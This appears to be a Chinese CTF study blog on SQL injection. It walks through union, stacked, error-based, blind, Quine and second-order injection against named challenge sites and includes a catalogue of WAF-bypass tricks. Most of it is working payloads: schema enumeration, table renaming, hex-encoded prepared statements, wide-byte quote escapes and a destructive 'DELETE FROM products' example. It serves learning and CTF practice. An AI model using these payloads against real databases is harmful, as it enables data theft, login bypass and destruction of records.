ctf中的sql注入专题研究,学习一些常见的sql注入题型,碰到新的类型也加进来
在刷完一些新生赛之后,我也不知道要怎么进阶,那就分题型总结,有的类型的题型可能有多个例题,因为这个类型覆盖面比较多,不同例题也是有不同的知识点,后面有相似知识点的sql类型题目的例题就选一些经典的。
sql注入概述
SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。
sql注入按照注入点可以分为三类
- 数字型注入:当输入的参数为整型的时候,如果存在注入漏洞,则可以认为是数字型注入 如
select * from table_name where id='1'
- 字符型注入:和数字型恰恰相反,当输入的参数为字符串的时候,如果存在注入漏洞,则可以认为是字符型注入,不同的一点是,数字型注入参数需要闭合,而字符型注入参数不需要闭合。
select * from BaiMao table_name id=' 1' '
- 搜索型注入:网站具有搜索功能,但开发人员忽略了对变量、关键字、命令的过滤,从而导致了注入可能,也可以称为文本框注入。
常见的sql注入手法
1 | 基于从服务器接收到的响应 |
联合查询注入
这是最简单的一种sql注入,利用union语句联合查询
举一道简单的sql题说说 swpuctf2021新生赛_ezsql
封面是一张杰哥hhhh,然后提示输入点东西,这个标签页的标题提醒参数是wllm
先试试有没有错误回显,发现是有的
1 | http://node4.anna.nssctf.cn:28899/?wllm=-1' |
这里我直接输入?wllm=1' or 1=1 order by 1#
还是这个错误提醒,这是是因为用#这个注释符在这题不适用
在本题中用的注释是--+
sql中的注释符:--
单行注释符 , 后面要加空格
#
mysql注释符,只在mysql中
/**/
多行注释符
这里在--
后面用+
是因为这里空格在url中会被url编码,所以用+
代替空格
- 查字段
1 | ?wllm=1' or 1=1 order by 2 --+ |
说明一共有三个字段
2. 查回显
1 | ?wllm=-1' union select 1,2,3 --+ |
说明name在第二列 , password在第三列
3. 爆库
1 | ?wllm=-1' union select 1,database(),3 --+ |
得到数据库名test_db
4. 爆表
1 | ?wllm=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --+ |
得到表名users
test_tb
group_concat
是一个 MySQL 内置的聚合函数,它将查询结果中的多个值连接成一个字符串。table_name
是 information_schema.tables
表中的列,存储了所有表的名字。table_schema
:表示数据库的名称,即该表属于哪个数据库
5. 爆字段
1 | ?wllm=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'; --+ |
在test_tb
这个数据表里面有flag字段,所以用这个数据表
1 | ?wllm=-1' union select 1,group_concat(flag),3 from test_db.test_tb; --+ |
这里最后知道是什么数据库什么表就写from $database.$table
就可以了
总结一下,联合注入的解决顺序是,检测注入点->判断注入类型->查字段->爆库->爆表->爆字段
用到的函数和表有order by union select group_concat information_schema.tables table_schema information_schema.columns table_name
堆叠注入
原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行? 因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products;
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
一般存在堆叠注入的都是用 mysqli_multi_query()
函数执行的sql语句,该函数可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔。
例题1 buuctf[强网杯 2019]随便注 1
方法1 堆叠注入
先输入1’判断是字符型注入
然后判断字段数 输入1' order by 3#
报错,说明一共有两个字段
输入select报错,并且给出了过滤的黑名单return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
说一select where被过滤 我们可以使用堆叠注入
输入 1'; show databases;#
查看所有的库
输入 1'; show tables;#
查看所有表 ,发现有两张表 words 和 1919810931114514
用1'; show columns from words;#
查看words表中的字段
用1’; show columns from `1919810931114514`;# 注意这里在mysql中查询数字的名字要加上反引号
因为现在只有两张表,所以可以知道在首页查询的是words表里面的内容。 那现在要怎么查到数字表里面的flag字段?
我们需要让1919810931114514替代words表,因为题目的过滤没有过滤rename和alter 所以现在想法是把1919810931114514改名成words 然后把列名flag改成id
1 | 1'; rename table words to words1; rename table `1919810931114514` to words; alter table words change flag id varchar(100);# |
这里rename table xx to xx 是给数据表改名的语法 alter table 是切换到数据表 change xx xx+类型 修改某个字段名
然后输入1' or 1=1 #
就可以查到现在的words下面的字段,就拿到flag了
方法2 利用编码或concat绕过过滤
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE:执行命令
DEALLOCATE PREPARE:释放命令
SET:用于设置变量
现在把我们想要执行的命令转成16进制符 select * from 1919810931114514
-> 0x73656c656374202a2066726f6d20603139313938313039333131313435313460
然后利用预处理语句 1'; set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare hello from @a;execute hello;#
但是不能直接这么用,因为原来过滤的名单不止上面给出的那些
这里就是说set和prepare也被过滤了,那我们可以用大小写绕过 也能拿到flag 最后也是用1' or 1=1#
1'; Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare hello from @a;execute hello;#
除了用十六进制编码还可以用concat拼接语句绕过1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
例题2 buuctf[GYCTF2020]Blacklist
利用handler 处理
这题和上面一道例题很像,但是这题过滤了rename和alter
我们学习一下handler
HANDLER … OPEN 语句打开一个表,使其可以使用后续 HANDLER … READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER … CLOSE 或会话终止之前不会关闭
然后先用堆叠注入,查一下数据库和里面的数据段 发现flag在的数据表在FlagHere
现在用handler语句查看里面的内容1';handler FlagHere open;handler FlagHere read first;#
例题3 buuctf[SWPU2019]Web4
堆叠注入+mysql预处理+编码绕过+时间盲注
先判断出是一个堆叠注入 但是直接在网页上输入没有回显, 用bp抓包
然后输入; 也没有报错,说明存在堆叠注入
但是这里的select等很多关键字都被过滤,但是我们查询又必须用到这些,怎么办呢?
我们可以用上面说到的mysql中的prepare语句,以及用十六进制编码来绕过,再用时间盲注来判断是否正确
还有一点要注意,发送数据是用json格式的
直接来看脚本吧
1 | import time |
但是wp中都没有写怎么知道flag表和flag字段的,,不过也不影响学习者里面的思想。
例题4 [SUCTF 2019]EasySQL
数字型+堆叠注入+sql_mode
先输入1,可以查询到数据 输入1’没有返回也没有报错 说明是数字型注入
尝试一些关键字之后发现还是被过滤了很多,但是没有过滤; 可以先用堆叠注入看数据表 1;show tables;#
但是查询列名的之后还是被过滤 ,但是我们现在知道了有Flag表,而且flag大概率在flag字段
但是现在有这么多的过滤 应该怎么办? 这里经过尝试,可以发现一些有趣的东西 在输入非零数字的时候有回显,但是输入0没有回显
猜测到后端用到了or语句或者是|| 输入非零数字就会直接判断为真不会进行||后面的东西
如果猜到了这个逻辑就可以用 *,1
这样就是select *,1|| … 就会查询Flag表里面的所有内容
方法二:
除了这个方法还可以用sql_mode 因为这里知道了||语句的作用是逻辑判断符,但是sql中||也可以表示字符串的连接
可以sql_mode=PIPES_AS_CONCAT,通过这个模式,sql就知道||是连接符 然后我们在查询就是flag前面拼接我们查询的东西
payload 1;set sql_mode=PIPES_AS_CONCAT;select 1
可以看到这里就是在flag前面加了一个1
基于报错的sql注入
首先需要学习几个报错注入常用的函数
- updatexml
1 | updatexml(XML_document,XPath_string,new_value); |
我们并不需要知道里面参数的具体含义,我们用到的是第二个参数,这个参数接受一个字符串,如果输入concat函数连接字符串,就不符合XPath_string的格式,就会报错 一般用~
把结果包裹起来,便于识别
常用的利用语句
1 | and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); |
0x7e就是~
- extarctvalue
和updatexml差不多,但是只有两个参数
1 | and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); |
- floor
可以理解为一个向下取整的函数
1 | select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
count(*) 函数:返回表中的记录数
报错注入中,floor(rand(0)*2)报错是有条件的,记录必须3条以上。所以使用count(*) 函数
但是上面的updatexml 和 extarctvalue函数一次只能返回32位结果,所以要获得完整结果要用一些截取函数
例题 SWPUCTF_2021新生赛 error
输入一个值之后会跳转到http://node7.anna.nssctf.cn:28229/index.php?id=-1
而且有回显
1 | id:1' |
这里通过报错信息,判断为字符型注入
然后尝试--+
和#
得出这里用的注释符是#
1.判断列数
1 | id:1' order by 3# |
2.爆库名
这里要根据报错信息来的出库名,学习一个知识点:extractvalue (1,concat (0x7e,database ()))
EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)
1 | id:1' union select 1,2,extractvalue(1,concat(0x7e,database()))# |
得到库名test_db。
2.爆表
只要让报错信息里面爆出表名就可以
1 | -1’ and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) |
得到表名test_tb,users
3.爆列名
1 | -1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='test_tb'))) |
4.查flag
1 | id:-1' union select 1,2,extractvalue(0x7e,(select group_concat(flag) from test_tb)) # |
但是这里默认只返回了32个字符,我们用substring得到完整
1 |
|
可以拼接出完整flagNSSCTF{ace8876e-87f9-4526-862a-ff5d9638a322}
sql注入绕过
在sql注入题目中,大多数的题目都有过滤,所以有必要学习一下常见的绕过,一般就是用同样功能的字符来替代被过滤的字符
- 注释
-- # /* */
- 大小写
有些题的waf对大小写不敏感,可以用大小写过滤,比如过滤select可以用SeLect - 内联注释绕过
在mysql中内联注释是一种特殊的注释方式,语法为/*!.../*
中间有一个感叹号 里面的语句仅对 MySQL 生效的语句或功能 - 双写绕过
这个绕过方法,在其他题目中也很常用。 题目的过滤逻辑是把黑名单中出现的字符替换成空白 比如过滤了union 如果写 ununionion,中间的union会被删除,但是剩余的union就成功绕过了 - 编码绕过
常见的有十六进制编码和ascii码 例如select * from users where username = 0x7465737431;
Test等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
- 空格过滤
/**/ () 回车(%0a) 反引号%60 tab 双空格
- or and xor not
1 | and = && |
注意有些sql中的|| 会根据sql_mode设置成字符串的拼接 set sql_mode=PIPES_AS_CONCAT
, 默认情况下就是当作逻辑运算符
- =
1 | 用like绕过 `1 like 1` |
- 大小于号
greatest(n1, n2, n3…):返回n中的最大值 least(n1,n2,n3…):返回n中的最小值 strcmp 如果相同返回0,和c语言一样
in 如select * from users where id = 1 and substr(username,1,1) in ('t');
between ‘c’ and ‘c’ 如select * from users where id = 1 and substr(username,1,1) between 't' and 't';
- 引号
1 十六进制select column_name from information_schema.tables where table_name=0x7573657273;
2 宽字节 在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%bf%27 %df%27 %aa%27
%27是单引号的url编码 因为在过滤的时候一般单引号被过滤过滤成\
但是%bf这些单字节字符可以和\
组合成一个合法的宽字符,从而把单引号释放出来 比如%df\’ = %df%5c%27=縗’
%df就和\
结合成縗 然后后面的单引号就释放出来了 - 逗号
1 from for
一般在sql盲注中,都要用到substr这种函数,如果逗号被过滤,可以用from for
比如select substr("string",1,3)
两个参数分别是起始位置和长度,这句可以等价为select substr("string" from 1 for 3)
2 join
在 SQL 中,JOIN 用于将多个表中的数据进行组合。当使用 JOIN 连接多个只有一行数据的表时,会将这些表的数据进行交叉组合。
比如union select * from (select 1)a join (select 2)b join(select 3)c
就相当于union select 1,2,3
3 offset
用于绕过limit中的逗号 limit 2,1
等价于limit 1 offset 2
- 过滤函数
sleep() –>benchmark() , 这个函数它会重复执行指定的表达式若干次,以此来评估性能。 如使用select 12,23 and benchmark(1000000000,1);
这样子重复执行,中间的时间也可以当作睡眠时间了
ascii()–>hex()、bin()
group_concat()–>concat_ws() concat_ws第一个参数要指定分隔符 如select concat_ws(",","str1","str2");
substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
user() –> @@user、datadir–>@@datadir
ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。 - information.schema.tables
其实mysql的系统表中有很多和information.schema一样功能的表
sys.schema_table_statistics_with_buffer 可以替代information.schema.tables
sql盲注
sql盲注简单来说就是查询的到的信息不会直接回显,所以称为”盲注”。 通常利用是观察页面网页的不同和响应时间来判断是否成功注入,比如你的语句正确页面出现welcome user ,如果错误就没有显示,或者在语句后面与一个sleep,这样当语句正确时候会有更多的返回时间。通过这些响应的差异,可以得到想要的信息。
布尔盲注
布尔盲注就是利用语句的真假,页面会有不同的响应。常用到下面几个函数
mid(str,start,length): 截取字符串 ord(): 转换成ascii码 length(): 获取长度
通过题目来学习payload脚本
例题 ctfshow web8
进入环境之后,可以选择文章,然后通过url看出这里是通过id来查询的,存在sql注入
这里是数字型注入
尝试闭合,页面返回sql inject error,当输入waf的时候就出现这个。 但是当输入为真的时候 页面返回所有文章的内容,所以就根据这个差异来写基于布尔盲注的脚本
用bp跑一下sql的绕过 这里返回长度是972的是过滤的
过滤了union和逗号,逗号可以用from for 过滤
1 | import requests |
分别得到数据库 web8 数据表 flag 字段 flag
时间盲注
语句后面加上条件判断的sleep语句,如果页面确实花了时间延迟,说明条件是成立的
如
1 | ' and sleep(if((length(database()) = 8),0,5))--+ # 如果数据库的长度为8,延迟时间为0,否则延迟5秒 |
还有一个函数select case when
例如select case when x then y else z end from user;
这个语句的意思就是当x成立的时候执行y,不成立就执行z 在user中查询
payload可以用上面的一个脚本来说明
1 | import time |
利用条件成立的时候触发延迟来得到flag
Quine注入
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。
可以看这两篇文章来学习这种漏洞
从三道赛题再谈Quine trick SQL注入之Quine注入
这种题目一般会给出源码, 然后盲注出来的表是个空表,为了让password = ‘$password’ 就要用quine注入
首先要知道replace函数的三个参数,第一个参数是要替换的整个字符串,第二个参数被替换的字符(串) ,第三个是要替换成的字符(串)
学习payload :
不考虑引号
1 | 输入: replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); |
为了去掉引号 REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")
完成的payload
1 | 输入: replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")'); |
如果char被过滤可以用chr或者0x char(34) —> 0x22 char(39) –> 0x27
这里记录下一些题目的payload
1.
1 | 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')# |
结构
1 | 1'/**/union/**/select/**/replace( |
二阶注入
一阶注入就是普通的sql注入
二阶注入就是无法直接注入,它时指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
注入比较
1 | 一阶SQL注入: |
mysql_escape_string函数,该函数可以过滤用户输入的参数,如果输入中存在单引号之类的特殊字符,则会在单引号前面添加反斜杠进行转义,但是经过改函数处理的参数在存入数据库时,会被还原成原数据(该函数属于 PHP 旧版 mysql 扩展(非面向对象接口),PHP 5.5.0 后已废弃,不建议在新项目中使用。)
addsashes函数,作用同上
举例说明:
假设一个网站数据库中存在一个用户名为:“admin”,密码为:“123456”。攻击者注册用户名为:“admin’– ”,密码为:“123”;
1 | String name=StringEscapeUtiles.escapeSql(request.getParameter("Name")); |
程序在把输入数据存入数据库之前,对输入的数据中的单引号进行了转义来防止恶意输入对对数据库中数据带来的影响,避免了一阶注入带来的问题,但是在数据库中存入的用户名任然为:“admin’– ”现在攻击者要更新密码,程序会首先判断用户是否存在,代码为:
1 | String name=StringEscapeUtiles.escapeSql(request.getParameter("Name")); |
确认用户存在且密码正确时,应用程序执行更新密码语句:
sql3=”update user set password=”newpwd” where username=”username””;
在数据库执行了
update user set password =“111111” where username=’admin’– ‘
所以最终修改了admin用户的密码而不是用户自己创建用户的密码
所以二次注入不容易被发现,一般在白盒测试中才会出现
一般出现的场景在用户注册,修改密码等
例题 nssctf [October 2019]Twice SQL Injection
这里有一个登录界面和一个注册的选项
这里可以先用一个二次注入的常规手段,注册一个用户叫做admin"#
密码是123 然后登录
登录之后可以查询信息,这里输入1’ or 1=1# 发现引号被反斜杠转义
然后这题的利用方式是我们注册用户,然后闭合插入语句,这样在登录的时候,会执行查询语句,因为用户名里闭合了,就会执行我们的语句 尝试后发现这里是单引号闭合
a’ union select database()# 登录后得到数据库ctftraining
后面也有一样的方式一步步得到flag
a’ union select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’# =>flag,news,users
a’ union select group_concat(column_name) from information_schema.columns where table_name=’FLAG_TABLE’# =>flag
a’ union select flag from flag#
得到flag
参考链接
https://blog.csdn.net/m0_73734159/article/details/133928538
https://blog.csdn.net/xuanyulevel6/article/details/126521051
https://blog.csdn.net/qq_43625917/article/details/101235231?ops_request_misc=%7B%22request%5Fid%22%3A%22166138787816782246492486%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=166138787816782246492486&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~pc_rank_34-5-101235231-null-null.142%5Ev42%5Epc_rank_34_1,185%5Ev2%5Econtrol&utm_term=exp%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187
https://blog.csdn.net/qq_35569814/article/details/100188947
https://blog.csdn.net/qq_53856457/article/details/121268143